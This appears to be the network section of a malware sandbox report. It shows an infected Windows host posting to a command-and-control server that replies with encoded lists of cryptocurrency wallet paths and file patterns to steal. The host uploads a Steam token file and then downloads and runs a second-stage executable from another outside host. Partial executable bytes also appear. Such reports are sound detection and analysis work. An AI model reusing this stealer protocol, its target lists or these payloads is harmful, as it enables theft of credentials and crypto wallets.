Oct 7, 2024 18:43:38.113540888 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:37 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 18:43:39.816371918 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: lade.petperfectcare.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:40.629189968 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:40.872800112 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="mode"3------GCBGCAFIIECBFIDHIJKF--
Oct 7, 2024 18:43:41.635759115 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Oct 7, 2024 18:43:41.647492886 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="mode"4------KFHJJJKKFHIDAAKFBFBF--
Oct 7, 2024 18:43:42.277045012 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Oct 7, 2024 18:43:42.302542925 CEST	651	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: lade.petperfectcare.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="file_data"NOmwAg==------EHCGIJDHDGDBGDGCGCFH--
Oct 7, 2024 18:43:42.923398972 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:42.971458912 CEST	193	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: lade.petperfectcare.com Content-Length: 130769 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:44.504848003 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:44.509208918 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFH Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="mode"5------CAFIEBKKJJDAKFHIDBFH--
Oct 7, 2024 18:43:45.163294077 CEST	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 34 0d 0a 4d 54 49 34 4e 44 49 77 4e 58 78 6f 64 48 52 77 4f 69 38 76 62 6e 4e 6b 62 53 35 6a 64 57 31 77 59 58 49 74 59 58 56 30 62 79 31 76 63 6d 6c 6a 5a 53 31 30 61 58 41 75 63 6d 38 76 62 47 52 74 63 79 39 68 4e 44 4d 30 4f 44 59 78 4d 6a 67 7a 4e 44 63 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 64MTI4NDIwNXxodHRwOi8vbnNkbS5jdW1wYXItYXV0by1vcmljZS10aXAucm8vbGRtcy9hNDM0ODYxMjgzNDcuZXhlfDF8a2tra3w=0
Oct 7, 2024 18:43:46.682507992 CEST	689	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI Host: lade.petperfectcare.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="mode"51------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="task_id"1284205------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="status"1------BGIJDGCAEBFIIECAKFHI--
Oct 7, 2024 18:43:47.746478081 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:47.748292923 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="mode"6------EGIDAAFIEHIEHJKFHCAE--
Oct 7, 2024 18:43:48.361113071 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	51636	147.45.44.104	80	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:43:45.231688023 CEST	101	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: nsdm.cumpar-auto-orice-tip.ro Cache-Control: no-cache
Oct 7, 2024 18:43:45.876100063 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:45 GMT Content-Type: application/octet-stream Content-Length: 551424 Last-Modified: Mon, 07 Oct 2024 16:21:33 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "67040a8d-86a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8d 0a 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPELg)bRo0@q4@(@0,.text `.rdatax0@@.data@.rsrcJ@@.relocN@B
Oct 7, 2024 18:43:45.876406908 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dH<h BaYh BxaYh BlaYeHEeH<h BLaYjjheHeHDh B-aYVWj!YeHQDeHP3B
Oct 7, 2024 18:43:45.876419067 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 61 58 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 d0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 28 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 d2 1c 00 Data Ascii: YtjVaXYY^U@B3D$EVL$P(D$Puu:L$L$\2B^3W]Vt$\2B^Vt$WVP2BFVGW_^BU}uMjhBuRYMPE]D$VtjV
